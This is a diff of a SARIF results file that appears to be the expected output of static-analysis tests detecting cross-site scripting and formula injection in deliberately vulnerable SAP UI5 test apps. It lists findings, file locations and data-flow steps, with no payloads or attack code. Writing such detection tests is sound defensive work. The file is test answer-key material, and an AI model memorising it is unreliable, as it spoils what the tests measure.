+                  "index" : 311
                 },
                 "region" : {
                   "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
+                  "startColumn" : 13,
+                  "endColumn" : 23
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "\"value\": \"{/input}\""
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 155
+                  "index" : 307
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 23,
-                  "endColumn" : 41
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "{ type: \"string\" }"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 155
+                  "index" : 311
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 23,
-                  "endColumn" : 41
+                  "startLine" : 13,
+                  "startColumn" : 15,
+                  "endColumn" : 25
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "\"content\": \"{/input}\""
               }
             }
           } ]
@@ -15255,15 +17342,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 160
+            "index" : 311
           },
           "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
+            "startLine" : 9,
+            "startColumn" : 13,
+            "endColumn" : 23
           }
         },
         "message" : {
@@ -15274,9 +17360,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -15285,20 +17371,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 164
+            "index" : 111
           },
           "region" : {
-            "startLine" : 14,
-            "startColumn" : 32,
+            "startLine" : 8,
+            "startColumn" : 5,
             "endColumn" : 50
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "352d5eac262ae765:1",
-        "primaryLocationStartColumnFingerprint" : "15"
+        "primaryLocationLineHash" : "74b35e217af6aa05:1",
+        "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -15306,9 +17392,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 169
+                  "index" : 111
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15325,12 +17411,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 165
+                  "index" : 108
                 },
                 "region" : {
-                  "startLine" : 9,
+                  "startLine" : 10,
                   "startColumn" : 17,
                   "endColumn" : 28
                 }
@@ -15343,36 +17429,18 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 164
-                },
-                "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 23,
-                  "endColumn" : 41
-                }
-              },
-              "message" : {
-                "text" : "{ type: \"string\" }"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 164
+                  "index" : 111
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 32,
+                  "startLine" : 8,
+                  "startColumn" : 5,
                   "endColumn" : 50
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "content={/input}"
               }
             }
           } ]
@@ -15382,9 +17450,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 169
+            "index" : 111
           },
           "region" : {
             "startLine" : 5,
@@ -15401,9 +17469,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -15412,20 +17480,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 173
+            "index" : 243
           },
           "region" : {
-            "startLine" : 14,
-            "startColumn" : 28,
-            "endColumn" : 46
+            "startLine" : 9,
+            "startColumn" : 5,
+            "endColumn" : 40
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "352d5ec8b0c3bb0d:1",
-        "primaryLocationStartColumnFingerprint" : "15"
+        "primaryLocationLineHash" : "9caa0f252fbe2993:1",
+        "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -15433,9 +17501,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 178
+                  "index" : 243
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15452,12 +17520,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 174
+                  "index" : 239
                 },
                 "region" : {
-                  "startLine" : 9,
+                  "startLine" : 31,
                   "startColumn" : 17,
                   "endColumn" : 28
                 }
@@ -15470,36 +17538,90 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 173
+                  "index" : 239
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 37
+                  "startLine" : 9,
+                  "startColumn" : 25,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "{ type: \"string\" }"
+                "text" : "oModel. ... input')"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 173
+                  "index" : 239
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 28,
-                  "endColumn" : 46
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "input"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 239
+                },
+                "region" : {
+                  "startLine" : 10,
+                  "startColumn" : 44,
+                  "endColumn" : 49
+                }
+              },
+              "message" : {
+                "text" : "input"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 239
+                },
+                "region" : {
+                  "startLine" : 32,
+                  "startColumn" : 17,
+                  "endColumn" : 30
+                }
+              },
+              "message" : {
+                "text" : "output1: null"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 243
+                },
+                "region" : {
+                  "startLine" : 9,
+                  "startColumn" : 5,
+                  "endColumn" : 40
+                }
+              },
+              "message" : {
+                "text" : "content={/output1}"
               }
             }
           } ]
@@ -15509,9 +17631,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 178
+            "index" : 243
           },
           "region" : {
             "startLine" : 5,
@@ -15528,9 +17650,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -15539,20 +17661,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 200
+            "index" : 243
           },
           "region" : {
-            "startLine" : 27,
-            "startColumn" : 36,
-            "endColumn" : 41
+            "startLine" : 17,
+            "startColumn" : 5,
+            "endColumn" : 40
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "8ceecee7055f4fa2:1",
-        "primaryLocationStartColumnFingerprint" : "23"
+        "primaryLocationLineHash" : "2963bbd458e69924:1",
+        "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -15562,16 +17684,16 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 239
                 },
                 "region" : {
-                  "startLine" : 26,
-                  "startColumn" : 25,
-                  "endColumn" : 42
+                  "startLine" : 18,
+                  "startColumn" : 31,
+                  "endColumn" : 60
                 }
               },
               "message" : {
-                "text" : "oInput.getValue()"
+                "text" : "oEvent. ... Value()"
               }
             }
           }, {
@@ -15580,34 +17702,70 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 239
                 },
                 "region" : {
-                  "startLine" : 26,
+                  "startLine" : 18,
                   "startColumn" : 17,
-                  "endColumn" : 42
+                  "endColumn" : 60
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "sInputValue"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 239
+                },
+                "region" : {
+                  "startLine" : 19,
+                  "startColumn" : 44,
+                  "endColumn" : 55
+                }
+              },
+              "message" : {
+                "text" : "sInputValue"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 239
+                },
+                "region" : {
+                  "startLine" : 34,
+                  "startColumn" : 17,
+                  "endColumn" : 30
+                }
+              },
+              "message" : {
+                "text" : "output3: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 200
+                  "index" : 243
                 },
                 "region" : {
-                  "startLine" : 27,
-                  "startColumn" : 36,
-                  "endColumn" : 41
+                  "startLine" : 17,
+                  "startColumn" : 5,
+                  "endColumn" : 40
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "content={/output3}"
               }
             }
           } ]
@@ -15619,12 +17777,12 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 200
+            "index" : 239
           },
           "region" : {
-            "startLine" : 26,
-            "startColumn" : 25,
-            "endColumn" : 42
+            "startLine" : 18,
+            "startColumn" : 31,
+            "endColumn" : 60
           }
         },
         "message" : {
@@ -15635,9 +17793,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -15646,20 +17804,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
             "index" : 251
           },
           "region" : {
             "startLine" : 8,
-            "startColumn" : 28,
-            "endColumn" : 46
+            "startColumn" : 5,
+            "endColumn" : 37
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "353ad97f4bff4eae:1",
-        "primaryLocationStartColumnFingerprint" : "15"
+        "primaryLocationLineHash" : "97b29ed20ac04ff0:1",
+        "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -15667,9 +17825,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 255
+                  "index" : 251
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15686,9 +17844,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 252
+                  "index" : 247
                 },
                 "region" : {
                   "startLine" : 9,
@@ -15704,36 +17862,18 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 250
-                },
-                "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 15,
-                  "endColumn" : 33
-                }
-              },
-              "message" : {
-                "text" : "{ type: \"string\" }"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 251
                 },
                 "region" : {
                   "startLine" : 8,
-                  "startColumn" : 28,
-                  "endColumn" : 46
+                  "startColumn" : 5,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "content={/input}"
               }
             }
           } ]
@@ -15743,9 +17883,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 255
+            "index" : 251
           },
           "region" : {
             "startLine" : 5,
@@ -15762,9 +17902,9 @@
       "ruleId" : "js/ui5-xss",
       "rule" : {
         "id" : "js/ui5-xss",
-        "index" : 1,
+        "index" : 0,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -15773,20 +17913,20 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 276
+            "index" : 259
           },
           "region" : {
             "startLine" : 8,
-            "startColumn" : 28,
-            "endColumn" : 46
+            "startColumn" : 5,
+            "endColumn" : 38
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "353ad97f4bff4eae:1",
-        "primaryLocationStartColumnFingerprint" : "15"
+        "primaryLocationLineHash" : "1406455ac263a2d9:1",
+        "primaryLocationStartColumnFingerprint" : "0"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -15794,9 +17934,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 282
+                  "index" : 259
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15813,117 +17953,49 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 278
-                },
-                "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
-                }
-              },
-              "message" : {
-                "text" : "input: null"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 277
+                  "index" : 255
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 23,
-                  "endColumn" : 41
+                  "startLine" : 12,
+                  "startColumn" : 26,
+                  "endColumn" : 46
                 }
               },
               "message" : {
-                "text" : "{ type: \"string\" }"
+                "text" : "new JSONModel(oData)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 276
+                  "index" : 259
                 },
                 "region" : {
                   "startLine" : 8,
-                  "startColumn" : 28,
-                  "endColumn" : 46
+                  "startColumn" : 5,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "content={/output}"
               }
             }
           } ]
         } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 282
-          },
-          "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/ui5-xss",
-      "rule" : {
-        "id" : "js/ui5-xss",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 287
-          },
-          "region" : {
-            "startLine" : 8,
-            "startColumn" : 28,
-            "endColumn" : 46
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "353ad97f4bff4eae:1",
-        "primaryLocationStartColumnFingerprint" : "15"
-      },
-      "codeFlows" : [ {
+      }, {
         "threadFlows" : [ {
           "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 292
+                  "index" : 259
                 },
                 "region" : {
                   "startLine" : 5,
@@ -15940,9 +18012,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 288
+                  "index" : 255
                 },
                 "region" : {
                   "startLine" : 9,
@@ -15958,144 +18030,90 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 286
+                  "index" : 255
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 23,
-                  "endColumn" : 41
+                  "startLine" : 15,
+                  "startColumn" : 25,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "{ type: \"string\" }"
+                "text" : "oModel. ... input')"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 287
+                  "index" : 255
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 28,
-                  "endColumn" : 46
+                  "startLine" : 15,
+                  "startColumn" : 17,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "input"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 292
-          },
-          "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/ui5-xss",
-      "rule" : {
-        "id" : "js/ui5-xss",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "XSS vulnerability due to [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 264
-          },
-          "region" : {
-            "startLine" : 21,
-            "startColumn" : 22,
-            "endColumn" : 32
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "5d5122f6c75b5d01:1",
-        "primaryLocationStartColumnFingerprint" : "9"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 264
+                  "index" : 255
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 20,
-                  "endColumn" : 30
+                  "startLine" : 16,
+                  "startColumn" : 43,
+                  "endColumn" : 48
                 }
               },
               "message" : {
-                "text" : "/input"
+                "text" : "input"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 260
+                  "index" : 255
                 },
                 "region" : {
-                  "startLine" : 9,
+                  "startLine" : 10,
                   "startColumn" : 17,
-                  "endColumn" : 28
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "output: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 264
+                  "index" : 259
                 },
                 "region" : {
-                  "startLine" : 21,
-                  "startColumn" : 22,
-                  "endColumn" : 32
+                  "startLine" : 8,
+                  "startColumn" : 5,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "/input"
+                "text" : "content={/output}"
               }
             }
           } ]
@@ -16105,14 +18123,15 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 264
+            "index" : 259
           },
           "region" : {
-            "startLine" : 18,
-            "startColumn" : 20,
